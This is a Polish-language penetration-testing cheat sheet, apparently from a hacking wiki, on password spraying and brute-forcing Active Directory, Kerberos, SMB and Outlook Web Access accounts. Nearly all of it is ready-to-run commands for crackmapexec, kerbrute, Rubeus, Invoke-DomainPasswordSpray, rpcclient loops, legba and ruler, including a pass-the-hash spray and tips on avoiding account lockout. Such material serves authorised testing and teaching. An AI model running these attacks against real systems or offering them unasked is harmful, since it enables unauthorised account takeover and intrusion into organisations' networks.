## **Password Spraying**
|
|
|
|
Gdy znajdziesz kilka **ważnych nazw użytkowników**, możesz spróbować najczęściej występujących **haseł** (pamiętaj o polityce haseł w danym środowisku) dla każdego z odkrytych użytkowników.\
|
|
Zgodnie z **domyślnymi ustawieniami** **minimalna** **długość** **hasła** wynosi **7**.
|
|
|
|
Listy popularnych nazw użytkowników mogą być również przydatne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
|
|
|
Zauważ, że **możesz zablokować niektóre konta, jeśli spróbujesz kilku błędnych haseł** (domyślnie więcej niż 10).
|
|
|
|
### Get password policy
|
|
|
|
Jeśli masz jakieś dane logowania użytkownika lub powłokę jako użytkownik domeny, możesz **uzyskać politykę haseł za pomocą**:
|
|
```bash
|
|
# From Linux
|
|
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
|
|
|
enum4linux -u 'username' -p 'password' -P <IP>
|
|
|
|
rpcclient -U "" -N 10.10.10.10;
|
|
rpcclient $>querydominfo
|
|
|
|
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
|
|
|
|
# From Windows
|
|
net accounts
|
|
|
|
(Get-DomainPolicy)."SystemAccess" #From powerview
|
|
```
|
|
### Eksploatacja z Linuxa (lub wszystkich)
|
|
|
|
- Używając **crackmapexec:**
|
|
```bash
|
|
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
|
# Local Auth Spray (once you found some local admin pass or hash)
|
|
## --local-auth flag indicate to only try 1 time per machine
|
|
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
|
```
|
|
- Używając [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
|
```bash
|
|
# Password Spraying
|
|
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
|
|
# Brute-Force
|
|
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
|
```
|
|
- [**spray**](https://github.com/Greenwolf/Spray) _**(możesz wskazać liczbę prób, aby uniknąć zablokowania):**_
|
|
```bash
|
|
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
|
```
|
|
- Używanie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIEZALECANE, CZASAMI NIE DZIAŁA
|
|
```bash
|
|
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
|
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
|
```
|
|
- Z modułem `scanner/smb/smb_login` **Metasploit**:
|
|

|

|
|
|
|
- Używając **rpcclient**:
|
|
```bash
|
|
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
|
for u in $(cat users.txt); do
|
|
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
|
|
done
|
|
```
|
|
#### Z Windows
|
|
|
|
- Z wersją [Rubeus](https://github.com/Zer1t0/Rubeus) z modułem brute:
|
|
```bash
|
|
# with a list of users
|
|
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
|
|
|
# check passwords for all users in current domain
|
|
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
|
```
|
|
- Z [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Może domyślnie generować użytkowników z domeny i pobiera politykę haseł z domeny oraz ograniczać próby zgodnie z nią):
|
|
```bash
|
|
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
|
```
|
|
- Z [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
|
```
|
|
Invoke-SprayEmptyPassword
|
|
```
|
|
## Brute Force
|
|
```bash
|
|
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
|
```
|
|
## Outlook Web Access
|
|
|
|
Istnieje wiele narzędzi do p**assword spraying outlook**.
|
|
|
|
- Z [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
|
- z [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
|
- Z [Ruler](https://github.com/sensepost/ruler) (wiarygodne!)
|
|
- Z [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
|
- Z [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
|
|
|
Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników i hasła / małej listy haseł do spryskania.
|
|
```bash
|
|
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
